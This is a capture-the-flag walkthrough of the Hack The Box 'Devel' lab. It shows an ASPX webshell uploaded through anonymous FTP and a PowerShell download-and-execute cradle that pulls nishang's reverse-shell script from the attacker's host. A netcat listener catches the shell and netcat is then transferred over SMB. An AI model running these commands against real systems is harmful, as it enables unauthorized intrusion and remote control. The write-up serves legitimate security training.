File Upload
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ tree /usr/share/webshells/asp*
/usr/share/webshells/asp
├── cmd-asp-5.1.asp
└── cmdasp.asp
/usr/share/webshells/aspx
└── cmdasp.aspx
0 directories, 1 file
A total of 3 .NET based webshell locally available
I will go with cmdasp.aspx
as the web framework is done in ASP.NET
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ cp /usr/share/webshells/aspx/cmdasp.aspx . ; mv cmdasp.aspx webshell.aspx
I copied the file to the current working directory and changed its name to webshell.aspx
ftp> put webshell.aspx
local: webshell.aspx remote: webshell.aspx
229 Entering Extended Passive Mode (|||49173|)
125 Data connection already open; Transfer starting.
100% |**********************************************************************************| 1442 23.70 mib/s --:-- ETA
226 Transfer complete.
1442 bytes sent in 00:00 (45.41 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||49174|)
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
10-13-22 07:16PM 1442 webshell.aspx
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
I uploaded the webshell.aspx
file to the FTP server that is serving the web server
Upload successful.
webshell.aspx
is present on the web root as expected.
But I don’t want this half ass shell. A stable shell has to be established
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ cp /home/kali/Tools/nishang/Shells/Invoke-PowerShellTcp.ps1 .
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9999" >> Invoke-PowerShellTcp.ps1
nishang’s Invoke-PowerShellTcp.ps1
script would be a good choice
I will start a web server on Kali to host this script for the target system to fetch
I also appended the command itself to the bottom of the script so that it will be executed upon fetch
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ simplehttp .
serving http on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Starting a web server on Kali port 8000, hosting the Invoke-PowerShellTcp.ps1
script
powershell -ep bypass iex (new-object net.webclient).downloadstring('http://10.10.14.6:8000/Invoke-PowerShellTcp.ps1')
the command above sends a get request to http://10.10.14.6:8000/Invoke-PowerShellTcp.ps1
The PowerShell script has been fetched by the target machine
┌──(kali㉿kali)-[~/archive/htb/labs/devel]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.5] 49166
Windows PowerShell running as user DEVEL$ on DEVEL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
ps c:\windows\system32\inetsrv>
ps c:\windows\system32\inetsrv> whoami
iis apppool\web
ps c:\windows\system32\inetsrv> hostname
devel
ps c:\windows\system32\inetsrv> ipconfig
Windows IP Configuration
ethernet adapter local area connection 3:
connection-specific dns suffix . :
ipv6 address. . . . . . . . . . . : dead:beef::58c0:f1cf:abc6:bb9e
temporary ipv6 address. . . . . . : dead:beef::1431:9150:87cb:761b
link-local ipv6 address . . . . . : fe80::58c0:f1cf:abc6:bb9e%15
ipv4 address. . . . . . . . . . . : 10.10.10.5
subnet mask . . . . . . . . . . . : 255.255.255.0
default gateway . . . . . . . . . : fe80::250:56ff:feb9:6c92%15
10.10.10.2
tunnel adapter isatap.{c57f02f8-df4f-40ee-bc21-a206b3f501e4}:
media state . . . . . . . . . . . : Media disconnected
connection-specific dns suffix . :
tunnel adapter local area connection* 9:
media state . . . . . . . . . . . : Media disconnected
connection-specific dns suffix . :
Netcat listener received the shell and a connection was established as the web process executed the script
Initial Foothold as iis apppool\web
via file upload
NC64.exe
PS C:\> mkdir tmp ; cd tmp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 13/1/2023 9:51 ?? tmp
PS C:\tmp> copy \\10.10.14.6\smb\nc.exe nc.exe
Making a directory at the system root; C:\tmp
The directory will be served as a storage for this operation
I also transferred Netcat to the target system over SMB